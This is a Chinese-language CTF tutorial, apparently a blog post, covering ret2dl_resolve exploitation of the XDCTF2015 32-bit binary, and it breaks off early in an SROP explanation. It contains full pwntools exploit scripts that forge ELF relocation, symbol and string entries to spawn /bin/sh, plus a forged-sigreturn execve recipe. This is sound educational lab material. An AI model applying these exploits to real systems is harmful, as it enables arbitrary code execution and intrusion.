11: 0804834c 0 SECTION LOCAL DEFAULT 11 .init
12: 08048370 0 SECTION LOCAL DEFAULT 12 .plt
13: 080483d0 0 SECTION LOCAL DEFAULT 13 .plt.got
14: 080483e0 0 SECTION LOCAL DEFAULT 14 .text
15: 08048654 0 SECTION LOCAL DEFAULT 15 .fini
16: 08048668 0 SECTION LOCAL DEFAULT 16 .rodata
17: 08048670 0 SECTION LOCAL DEFAULT 17 .eh_frame_hdr
18: 080486b4 0 SECTION LOCAL DEFAULT 18 .eh_frame
19: 08049ed4 0 SECTION LOCAL DEFAULT 19 .init_array
20: 08049ed8 0 SECTION LOCAL DEFAULT 20 .fini_array
21: 08049edc 0 SECTION LOCAL DEFAULT 21 .dynamic
22: 08049fd4 0 SECTION LOCAL DEFAULT 22 .got
23: 0804a000 0 SECTION LOCAL DEFAULT 23 .data
24: 0804a008 0 SECTION LOCAL DEFAULT 24 .bss
25: 00000000 0 SECTION LOCAL DEFAULT 25 .comment
26: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
27: 08048440 0 FUNC LOCAL DEFAULT 14 deregister_tm_clones
28: 08048480 0 FUNC LOCAL DEFAULT 14 register_tm_clones
29: 080484c0 0 FUNC LOCAL DEFAULT 14 __do_global_dtors_aux
30: 0804a008 1 OBJECT LOCAL DEFAULT 24 completed.7283
31: 08049ed8 0 OBJECT LOCAL DEFAULT 20 __do_global_dtor[...]
32: 080484f0 0 FUNC LOCAL DEFAULT 14 frame_dummy
33: 08049ed4 0 OBJECT LOCAL DEFAULT 19 __frame_dummy_in[...]
34: 00000000 0 FILE LOCAL DEFAULT ABS main.c
35: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
36: 080487d8 0 OBJECT LOCAL DEFAULT 18 __FRAME_END__
37: 00000000 0 FILE LOCAL DEFAULT ABS
38: 08049ed8 0 NOTYPE LOCAL DEFAULT 19 __init_array_end
39: 08049edc 0 OBJECT LOCAL DEFAULT 21 _DYNAMIC
40: 08049ed4 0 NOTYPE LOCAL DEFAULT 19 __init_array_start
41: 08048670 0 NOTYPE LOCAL DEFAULT 17 __GNU_EH_FRAME_HDR
42: 08049fd4 0 OBJECT LOCAL DEFAULT 22 _GLOBAL_OFFSET_TABLE_
43: 08048650 2 FUNC GLOBAL DEFAULT 14 __libc_csu_fini
44: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@@GLIBC_2.0
45: 00000000 0 FUNC GLOBAL DEFAULT UND read@@GLIBC_2.0
46: 08048430 4 FUNC GLOBAL HIDDEN 14 __x86.get_pc_thunk.bx
47: 0804a000 0 NOTYPE WEAK DEFAULT 23 data_start
48: 080484f6 70 FUNC GLOBAL DEFAULT 14 vuln
49: 0804a008 0 NOTYPE GLOBAL DEFAULT 23 _edata
50: 08048654 0 FUNC GLOBAL DEFAULT 15 _fini
51: 0804a000 0 NOTYPE GLOBAL DEFAULT 23 __data_start
52: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
53: 0804a004 0 OBJECT GLOBAL HIDDEN 23 __dso_handle
54: 0804866c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
55: 00000000 0 FUNC GLOBAL DEFAULT UND strlen@@GLIBC_2.0
56: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_mai[...]
57: 00000000 0 FUNC GLOBAL DEFAULT UND write@@GLIBC_2.0
58: 080485f0 93 FUNC GLOBAL DEFAULT 14 __libc_csu_init
59: 00000000 0 OBJECT GLOBAL DEFAULT UND stdin@@GLIBC_2.0
60: 0804a00c 0 NOTYPE GLOBAL DEFAULT 24 _end
61: 08048420 2 FUNC GLOBAL HIDDEN 14 _dl_relocate_sta[...]
62: 080483e0 0 FUNC GLOBAL DEFAULT 14 _start
63: 08048668 4 OBJECT GLOBAL DEFAULT 16 _fp_hw
64: 00000000 0 OBJECT GLOBAL DEFAULT UND stdout@@GLIBC_2.0
65: 0804a008 0 NOTYPE GLOBAL DEFAULT 24 __bss_start
66: 0804853c 167 FUNC GLOBAL DEFAULT 14 main
67: 0804a008 0 OBJECT GLOBAL HIDDEN 23 __TMC_END__
68: 0804834c 0 FUNC GLOBAL DEFAULT 11 _init

Histogram for `.gnu.hash' bucket list length (total of 2 buckets):
Length Number % of total Coverage
0 1 ( 50.0%)
1 1 ( 50.0%) 100.0%

Version symbols section '.gnu.version' contains 10 entries:
Addr: 0x00000000080482d8 Offset: 0x000002d8 Link: 5 (.dynsym)
000: 0 (*本地*) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 0 (*本地*)
004: 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
008: 2 (GLIBC_2.0) 1 (*全局*)

Version needs section '.gnu.version_r' contains 1 entry:
Addr: 0x00000000080482ec Offset: 0x000002ec Link: 6 (.dynstr)
000000: Version: 1 文件:libc.so.6 计数:1
0x0010: Name: GLIBC_2.0 标志:无 版本:2

Displaying notes found in: .note.ABI-tag
所有者 Data size Description
GNU 0x00000010 NT_GNU_ABI_TAG (ABI version tag)
OS: Linux, ABI: 3.2.0

Displaying notes found in: .note.gnu.build-id
所有者 Data size Description
GNU 0x00000014 NT_GNU_BUILD_ID (unique build ID bitstring)
Build ID: c5c417c57a2afb850b8ff9cb80fceac21fe34ca7

在重定位表中找到

image-20240503180515530
3.构建寻找结构体过程

.rel.plt + reloc_index找到了函数对应的结构体(相当于一个基地址加上了一个相对基地址的偏移找到了结构体)

在bss段上的新栈里部署了plt[0](代替了函数调用功能)

然后执行_dl_runtime_resolve函数

运行dl_runtime_resolve函数也会执行.rel.plt + reloc_index的过程,基地址还是.rel.plt(但是存在偏移)

_dl_runtime_resolve函数没有边界检查

所以可以更改偏移从而指向任意的地址

image-20240503212903981

正常情况下从.rel.plt基地址出发加上正常偏移后会指向.rel.plt内的write函数结构体,但是通过修改偏移,使得运行流程会指向bss段内新建栈中的伪造write函数结构体,暂定指向伪造write函数结构体的偏移为index_offset

思路就是更改基地址的偏移,让函数的执行流程执行伪造的函数结构体

得到index_offset公式:(相当于伪造的_dl_runtime_resolve函数的第二参数,指向我们构建的write函数的结构体)

index_offset = base_stage(新栈基地址) + 伪造函数结构体存放位置偏移 - .rel.plt
4.伪造函数存放位置偏移是多少(伪造的函数结构体存放的位置)

我们在stage2的栈中使用了很多的“a”进行填充,

就可以将结构体放在填充的a当中

6.构造的完整栈结构

32位程序(每一行都是4字节)其实把结构体放在从0x14到0x50中间任何位置

他都是使用“a”来填充的,不会对执行流程有什么影响

这里就近写在了0x18和0x1c的位置

那么伪造的结构体相对基地址的偏移就是0x18,也就是24个字节

      低地址位 	
+---------------------+
0x00 | plt0 | <----ret
+---------------------+
0x04 | index_offset | 伪造的偏移
+---------------------+
0x08 | bbbb | write函数返回地址
+---------------------+
0x0c | 1 | write函数1参
+---------------------+
0x10 | /bin/sh地址 | write函数2参,/bin/sh字符串所在地址
+---------------------+
0x14 | 7 | write函数3参
+---------------------+
0x18 | r_offset | 伪造的结构体成员变量r_offset
+---------------------+
0x1c | r_info | 伪造的结构体成员变量r_info
+---------------------+
| aaaa | 填充
| .... | 填充
| aaaa | 填充
+---------------------+
0x50 | /bin/sh | /bin/sh字符串
+---------------------+
| aaaa |
| .... |
| aaaa |
高地址位 +---------------------+

这里的的公式代入就是

index_offset = base_stage + 24 - .rel.plt
7.EXP
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

r.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
r.sendline(rop.chain())

# 打印字符串"/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"

## 获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 获取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
# 在 base_stage+24 的位置存放伪造的函数结构体,并计算index_offset
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = 0x607

rop.raw(plt0)
rop.raw(index_offset)
# fake ret addr of write
rop.raw('bbbb') #write函数返回地址
rop.raw(1) #write函数1参
rop.raw(base_stage + 80) #write函数2参
rop.raw(len(sh)) #write函数3参
rop.raw(write_got) # fake reloc
rop.raw(r_info)
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
#print rop.dump() 可查看栈布局
r.sendline(rop.chain())
r.interactive()

5.STAGE4

1.概念思路

上一部分我们通过改变偏移,部署结构体的方式完成了对于write函数的调用,这一部分依然还是通过在新栈中构建结构体

但是通过.dynsym来计算r_info的值(对.dynsym进行迁移)

伪造的一下部分:

image-20240503221200983
2..dynsym中的结构体
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,除st_name外其他字段都是0
1.定位write函数
readelf -a rdl

这里查到write函数对应的num是6 ,就到.dynsym中寻找

image-20240504013330455

查询dynsym

readelf -x .dynsym rdl
image-20240504013616806

这样就查到了6的位置里面的数据就是write函数的结构体内容(下标从0开始)

write函数在.dynsym中的结构体内容(小端序)

fake_write_sym = flat([0x4c, 0, 0, 0x12])
3.找到这段结构体存放的位置

紧接着上面的write_rel_plt的结构体0x18的位置我们将他存放到这里的0x20的位置

(相对新栈基地址base_stage偏移32字节处开始部署)

4.进行栈对齐
1.问题

base_stage + 32的位置部署write_sym结构体

我们找的位置可能相对于.dynsym来说并不是一个标准地址

2.标准地址

dynsym的每个结构体大小为16个字节,也就是说如果想找到某个函数的.dynsym结构体,那么就需要16个字节16个字节的找

公式

fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
3.公式讲解

假设内存布局:

0x8048a00 11111111 22222222 33333333 44444444 dynsym起始位置
0x8048a10 11111111 22222222 33333333 44444444
0x8048a20 11111111 22222222 33333333 44444444
0x8048a30 11111111 22222222 33333333 44444444
0x8048a40 11111111 22222222 33333333 44444444
0x8048a50 11111111 22222222 33333333 44444444
0x8048a60 11111111 22222222 33333333 44444444
0x8048a70 11111111 22222222 33333333 44444444
0x8048a80 11111111 22222222 33333333 44444444
  1. base_stage + 32可能在这4个部分的任意位置
  2. 但他的结构体只能从开头开始
  3. 因此需要取他的这段开头的地址

公式的计算实例:

  1. 假设我在第3部分,第一个3的位置,那我base_stage + 32就是0x8048a88
  2. 利用上面那个计算方式就是0x10 – ((0x8048a88 – 0x8048a00) & 0xf) = 0x10 – 0x8 = 0x8
  3. 故我的地址在加上align后就变成0x8048a90刚好是对齐
5.通过.dynsym结构体下标反推r_info

前面解释过的这个r_info和.dynsym的下标的转换关系

r_info通过右移8位去掉”07“标识为得到函数在.dynsym中的下标

这里我们进行逆向的分析:

得到.dynsym的下标,左移8位再与上0x07就可以得到r_info

6.重新计算结构体的位置

对齐之后就需要考虑新栈中.dynsym结构体相对于.dynsym的基地址是第几个结构体

新栈结构体地址fake_sym_addr - .dynsym基地址得到距离

除以16即可得到对应的结构体的位置(.dynsym基地址可通过pwntools自动获取·

index_dynsym = (fake_sym_addr - .dynsym) / 0x10

dynsym下标之后,就可以进行左移8,然后再与上0x07即可得到r_info

r_info = (index_dynsym << 8) | 0x7
6.部署构架的呢ret.plt的结构体
  1. .rel.plt的结构体放在base_stage + 24的地方
  2. 部署的方式和前面的stage3一样还是通过公式index_offset = base_stage + 24 – .rel.plt算出偏移指向构建的.rel.plt的结构体的位置
7.栈的布局
      低地址位 	
+---------------------+
0x00 | plt0 | <----ret
+---------------------+
0x04 | index_offset | 伪造的.rel.plt的结构体偏移
+---------------------+
0x08 | bbbb | write函数返回地址
+---------------------+
0x0c | 1 | write函数1参
+---------------------+
0x10 | /bin/sh地址 | write函数2参,/bin/sh字符串所在地址
+---------------------+
0x14 | 7 | write函数3参
+---------------------+
0x18 | r_offset | 伪造的.rel.plt的结构体成员变量r_offset
+---------------------+
0x1c | r_info | 伪造的.rel.plt的结构体成员变量r_info
+---------------------+
0x20 | aaaa | 对齐
+---------------------+
0x24 | aaaa | 对齐
+---------------------+
0x28 | st_name | 伪造的.dynsym的结构体的成员变量st_name
+---------------------+
0x2c | st_value | 伪造的.dynsym的结构体的成员变量st_value
+---------------------+
0x30 | st_size | 伪造的.dynsym的结构体的成员变量st_size
+---------------------+
0x34 | st_info | 伪造的.dynsym的结构体的成员变量st_info
+---------------------+
| aaaa | 填充
| .... | 填充
| aaaa | 填充
+---------------------+
0x50 | /bin/sh | /bin/sh字符串
+---------------------+
| aaaa |
| .... |
| aaaa |
高地址位 +---------------------+
8.EXP
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

r.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
r.sendline(rop.chain())

# 打印字符串"/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"

#获取plt0的基地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
#获取.rel.plt的基地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#获取.dynsym的基地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr

## 在base_stage + 32的地方开始部署.dynsym结构体
fake_sym_addr = base_stage + 32
## 对齐
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
fake_write_sym = flat([0x4c, 0, 0, 0x12])# 伪造的.dynsym结构体
## 计算.dynsym结构体下标
index_dynsym = (fake_sym_addr - dynsym) / 0x10

# 在 base_stage+24的位置开始部署.rel.plt的结构体
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
# 由.dynsym结构体下标反推r_info
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])

rop.raw(plt0)
rop.raw(index_offset)
# fake ret addr of write
rop.raw('bbbb') #write函数返回地址
rop.raw(1) #write函数1参
rop.raw(base_stage + 80) #write函数2参
rop.raw(len(sh)) #write函数3参
rop.raw(fake_write_reloc) # 伪造的.rel.plt的结构体
rop.raw('a' * align) # 对齐
rop.raw(fake_write_sym) # 伪造的.dynsym的结构体
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
#print rop.dump() 可打印栈布局
r.sendline(rop.chain())
r.interactive()

6.STAGE5

1.关键问题

上一部分我们完成了.dynsym的迁移工作,这次在上一步的基础上将.dynstr迁移到bss段的新栈中

image-20240504015210299

简析分为两步i:

  1. 部署write函数的字符串“write\x00”
  2. 更改write函数在.dynsym的第一位结构体成员变量st_name的值
2.部署write函数的字符串“write\x00”

计算部署字符串的位置:

1.整理前面的部署:
  1. .dynsym放置在了base_stage + 0x20的位置(因为栈对齐,实际上需要8个字节进行填充)
  2. 即实际上写.dynsym的结构体的起始位置应该是fake_sym_addr = base_stage + 0x28 (dynsym的结构体占16个字节)
2.write函数的字符串部署
从fake_sym_addr + 0x10的位置开始部署write函数的字符串“write\x00”

write后面加\x00是由于在.dynstr中每一段字符串都以\x00结尾

3.更改st_name
1.st_name的定义简析
  1. dynsym是Elf32_Sym结构体,这个结构体的第一个成员变量就是st_name
  2. st_name代表着相对.dynstr起始的偏移
  3. st_name更改的值取决于我们想要在新栈中摆放.dynstr的位置
2.计算st_name公式

这是STA3的公式:

st_name + .dynstr = fake_sym_addr + 0x10

进行处理后的得到:

st_name = fake_sym_addr + 0x10 - .dynstr
3.从而得到部署.dynsym的结构体的内容公式
fake_write_sym = flat([st_name, 0, 0, 0x12])
4.栈的布局
      低地址位 	
+---------------------+
0x00 | plt0 | <----ret
+---------------------+
0x04 | index_offset | 伪造的.rel.plt的结构体偏移
+---------------------+
0x08 | bbbb | write函数返回地址
+---------------------+
0x0c | 1 | write函数1参
+---------------------+
0x10 | /bin/sh地址 | write函数2参,/bin/sh字符串所在地址
+---------------------+
0x14 | 7 | write函数3参
+---------------------+
0x18 | r_offset | 伪造的.rel.plt的结构体成员r_offset
+---------------------+
0x1c | r_info | 伪造的.rel.plt的结构体成员r_info
+---------------------+
0x20 | aaaa | 对齐
+---------------------+
0x24 | aaaa | 对齐
+---------------------+
0x28 | st_name | 伪造的.dynsym的结构体的成员变量st_name
+---------------------+
0x2c | st_value | 伪造的.dynsym的结构体的成员变量st_value
+---------------------+
0x30 | st_size | 伪造的.dynsym的结构体的成员变量st_size
+---------------------+
0x34 | st_info | 伪造的.dynsym的结构体的成员变量st_info
+---------------------+
0x34 | writ | 伪造的.dynstr:write\x00
+---------------------+
0x34 | e\x00 |
+---------------------+
| aaaa | 填充
| .... | 填充
| aaaa | 填充
+---------------------+
0x50 | /bin/sh | /bin/sh字符串
+---------------------+
| aaaa |
| .... |
| aaaa |
高地址位 +---------------------+
5.EXP
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

r.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
r.sendline(rop.chain())

# 打印字符串"/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"

#获取plt0的基地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
#获取.rel.plt的基地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#获取.dynsym的基地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
#获取.dynstr的基地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

## 在base_stage + 32的地方开始部署.dynsym结构体
fake_sym_addr = base_stage + 32
## 对齐
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
## 计算.dynsym结构体下标
index_dynsym = (fake_sym_addr - dynsym) / 0x10
## 计算.dynstr偏移准备更改.dynsym成员变量st_name
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])# 伪造的.dynsym结构体

# 在 base_stage+24的位置开始部署.rel.plt的结构体
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
# 由.dynsym结构体下标反推r_info
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])

rop.raw(plt0)
rop.raw(index_offset)
# fake ret addr of write
rop.raw('bbbb') #write函数返回地址
rop.raw(1) #write函数1参
rop.raw(base_stage + 80) #write函数2参
rop.raw(len(sh)) #write函数3参
rop.raw(fake_write_reloc) # 伪造的.rel.plt的结构体
rop.raw('a' * align) # 对齐
rop.raw(fake_write_sym) # 伪造的.dynsym的结构体
rop.raw('write\x00') #伪造的.dynstr
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
#print rop.dump() 可打印栈布局
r.sendline(rop.chain())
r.interactive()

7.STAGE6

1.关键问题

前面完成的对栈的迁移,对.rel.plt的迁移、对.dynsym的迁移、对.dynstr的迁移

这里将前面的write函数替换为system函数即可得到shell

2.替换system函数

将部署在.dynstr位置的“write\x00”替换成“system\x00”

3.栈的布局
      低地址位 	
+---------------------+
0x00 | plt0 | <----ret
+---------------------+
0x04 | index_offset | 伪造的.rel.plt的结构体偏移
+---------------------+
0x08 | bbbb | write函数返回地址
+---------------------+
0x0c | 1 | write函数1参
+---------------------+
0x10 | /bin/sh地址 | write函数2参,/bin/sh字符串所在地址
+---------------------+
0x14 | 7 | write函数3参
+---------------------+
0x18 | r_offset | 伪造的.rel.plt的结构体成员r_offset
+---------------------+
0x1c | r_info | 伪造的.rel.plt的结构体成员r_info
+---------------------+
0x20 | aaaa | 对齐
+---------------------+
0x24 | aaaa | 对齐
+---------------------+
0x28 | st_name | 伪造的.dynsym的结构体的成员变量st_name
+---------------------+
0x2c | st_value | 伪造的.dynsym的结构体的成员变量st_value
+---------------------+
0x30 | st_size | 伪造的.dynsym的结构体的成员变量st_size
+---------------------+
0x34 | st_info | 伪造的.dynsym的结构体的成员变量st_info
+---------------------+
0x34 | syst | 伪造的.dynstr:system\x00
+---------------------+
0x34 | em\x00 |
+---------------------+
| aaaa | 填充
| .... | 填充
| aaaa | 填充
+---------------------+
0x50 | /bin/sh | /bin/sh字符串
+---------------------+
| aaaa |
| .... |
| aaaa |
高地址位 +---------------------+
4.最终的EXP
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

r.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
r.sendline(rop.chain())

# "/bin/sh"字符串
rop = ROP('./main')
sh = "/bin/sh"

#获取plt0的基地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
#获取.rel.plt的基地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#获取.dynsym的基地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
#获取.dynstr的基地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

## 在base_stage + 32的地方开始部署.dynsym结构体
fake_sym_addr = base_stage + 32
## 对齐
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
## 计算.dynsym结构体下标
index_dynsym = (fake_sym_addr - dynsym) / 0x10
## 计算.dynstr偏移准备更改.dynsym成员变量st_name
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])# 伪造的.dynsym结构体

# 在 base_stage+24的位置开始部署.rel.plt的结构体
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
# 由.dynsym结构体下标反推r_info
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])

rop.raw(plt0)
rop.raw(index_offset)
# fake ret addr of write
rop.raw('bbbb') #system函数返回地址
rop.raw(base_stage + 82) #system函数1参
rop.raw('bbbb') #原write函数2参
rop.raw('bbbb') #原write函数3参
rop.raw(fake_write_reloc) # 伪造的.rel.plt的结构体
rop.raw('a' * align) # 对齐
rop.raw(fake_write_sym) # 伪造的.dynsym的结构体
rop.raw('system\x00') #伪造的.dynstr
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
#print rop.dump() 可打印栈布局
r.sendline(rop.chain())
r.interactive()

2.srop

1.原理概述

1.signal机制

1.概述

Signal 是一种用于在软件中处理异步事件的机制

它允许进程在发生某些特定事件时接收信号,并执行预定义的处理程序(信号处理函数)来处理这些事件

2.特点综述
  1. 信号的产生:信号可以由多种事件触发,包括硬件异常(如除零错误、非法内存访问)、软件条件(如进程终止请求)、用户输入(如按下 Ctrl+C 终止进程)等
  2. 信号的传递:一旦信号被产生,它可以被发送给一个或多个进程。通常情况下,信号被发送给与产生事件相关的进程,但也可以通过系统调用(如 kill)手动发送信号
  3. 信号的处理:接收到信号的进程可以选择如何处理它。进程可以忽略信号、执行默认操作,或者安装自定义的信号处理函数。信号处理函数是一段预定义的代码,用于在接收到信号时执行特定的操作。它可以用来捕获信号并采取适当的行动,比如清理资源、打印日志、重新启动程序等
  4. 信号的阻塞和解除阻塞:进程可以选择阻塞某些信号,使其暂时不被处理。当信号被阻塞时,它们会排队等待进程解除阻塞。一旦信号解除了阻塞,它们就会按照产生的顺序被逐个处理
  5. 常见的信号:不同的操作系统和平台支持不同的信号,但有一些常见的信号是跨平台的,比如 SIGINT(Ctrl+C 中断信号)、SIGSEGV(非法内存访问信号)、SIGTERM(终止信号)等
3.简述在pwn中的特点利用
  1. 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态
  2. 内核会为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理signal
  3. signal返回
  4. 内核为进程恢复之前保留的上下文,恢复进程的执行
4.上下文的结构(Signal frame)
0x00re_Sigreturnuc_flags
0x10&usuc_stack.ss_sp
0x20uc_stack.ss_flagsuc_stack.ss_size
0x30r8r9
0x40r10r11
0x50r12r13
0x60r14r15
0x70rdirsi
0x80rbprbx
0x90rdxrax
0xA0rcxrsp
0xB0riprflags
0xC0cs/gs/fserr
0xD0trapnooldmask(unused)
0xE0cr2(segfalut_addr)&fpstate
0xF0__reservedsigmask
  • e_Sigreturn: 信号处理程序返回地址,用于恢复到信号处理程序之前的执行点
  • uc_flags: 一个标志位,用于指示上下文的状态信息
  • &us: 指向用户栈的指针
  • uc_stack.ss_sp: 用户栈的起始地址
  • uc_stack.ss_flags: 用户栈的标志位
  • uc_stack.ss_size: 用户栈的大小
  • r8, r9, …, r15: 通用寄存器,用于保存信号处理程序执行前的寄存器状态
  • rdi, rsi, …: 存放函数参数的寄存器
  • rbp, rbx, …: 保留寄存器,有时也被用作通用寄存器
  • *rdx, rax, …**: 存放函数返回值的寄存器
  • rcx, rsp, …: 存放程序计数器、栈指针等的寄存器
  • rip: 下一条要执行的指令的地址
  • rflags: 存放标志位的寄存器
  • cs/gs/fs: 代码段、全局段、附加段寄存器
  • err: 用于保存错误信息
  • trapno: 中断号
  • oldmask(unused): 旧的信号屏蔽字
  • cr2(segfault_addr): 存放引发段错误的地址
  • &fpstate: 指向浮点寄存器状态的指针
  • __reserved: 保留字段
  • sigmask: 信号屏蔽字,用于指示当前屏蔽的信号
5.关键步骤简析
1.操作的本质

将寄存器的信息,signal的信息,指向的signal handler的系统调用的地址

2.栈的结构

2.详细的进程思路以及关键的的问题分析

1.详细的进程思路

(引用SROP攻击原理及例题解析-安全客 – 安全资讯平台 (anquanke.com)

  1. 进程P接收到发来的signal,内核为其保存上下文为sigFrame,然后被内核挂起。其中sigFrame的顶部8字节(64位机器字长)或4字节(32位机器字长),会被内核设置为rt_sigreturn。rt_sigreturn为sigFrame顶部第一个机器字长区域的名称,其内容为sigreturn系统调用代码的地址,简单说,rt_sigreturn处的内容指向sigreturn系统调用代码。当后续恢复时,栈指针寄存器sp会直接指向sigFrame的顶部。sigFrame结构如下图:image-20240504124155984

如上为64位机器字长机器的sigFrame结构,可见其头8字节为rt_sigreturn,指向着sigreturn系统调用代码

  1. 用户态的Signal Handler函数出马,对进程P接收到的signal进行处理,具体怎么处理的我们不用关系,和SROP攻击无关
  2. 当Signal Handler函数处理完signal后,栈指针寄存器sp(64位是rsp,32位是esp)会指向进程P之前保存的sigFrame的栈顶,即rt_sigreturn所在的位置
  3. Signal Handler函数最后一个指令是ret,会将3中栈指针寄存器sp指向的rt_sigreturn中的内容,“pop”给指令寄存器ip(64位是rip,32位是eip,这里用pop是想说此时sp也会加一个机器字长,即指向rt_sigreturn内存地址加一个机器字长的位置,根据上图,64位sp此时应指向uc_flags),此时指令寄存器ip处在sigreturn系统调用代码的位置,触发sigreturn系统调用。这样,sigreturn会根据sigFrame中的内容将进程P恢复原状,让P继续执行
2.关键的问题分析
  1. sigFrame是完全在用户空间的,进程P可读可写,这就有了攻击者动手脚的空间。
  2. 就是SROP漏洞最根本的,内核对进程P挂起时保存的sigFrame以及恢复时还原的sigFrame没有做任何关联,也就给了攻击者通过伪造sigFrame的方式,让sigreturn系统调用恢复出一个恶意进程的
  3. 伪造sigFrame如下:
    1. 使其中rax=59(execve的系统调用号,rax寄存器既用来保存返回值,也用来保存系统调用号,这个我们后面细说)
    2. 使其中rdi设置成“/bin/sh”的地址(这个地址可以是攻击者传到栈上的地址,一般是首先泄露栈地址,然后手动加一个offset找到binsh)
    3. 使其中rip设置成syscall的内存地址
    4. 最后将sigFrame栈顶的rt_sigreturn手动设置成sigreturn系统调用代码地址
    当sigreturn系统调用执行完毕后,我们伪造的sigFrame也被sigreturn恢复完成,按照我们上面伪sigFrame内部构造,可知sigreturn会恢复出一个shell进程

3.使用的环境

在汇编中看到systemcall时可以使用该操作进行尝试

系统调用调用号函数原型
read0read( int fd, void *buf, size_t count )
write1write( int fd, const void *buf, size_t count )
sigreturn15int sigreturn( … )
execve59execve( const char *filename, char *const argv[], char *const envp[] )

re_Sigreturn就是一个系统调用

它会将这个结构体数据恢复到相应寄存器中,我们可以替换rip的值来控制程序流程

也可以同时修改rsp的地址,使程序形成一个chian,从而通过srop实现更多的功能

2.实例讲解

题目是http://www.giraffexiu.love/wp-content/uploads/2024/05/smallest.zip

1.checksec查一下

image-20240504114809858

开启了nx保护,其他都没有打开

2.ida分析

image-20240504114840872

这里有很明显的栈溢出漏洞,尝试利用rop但是

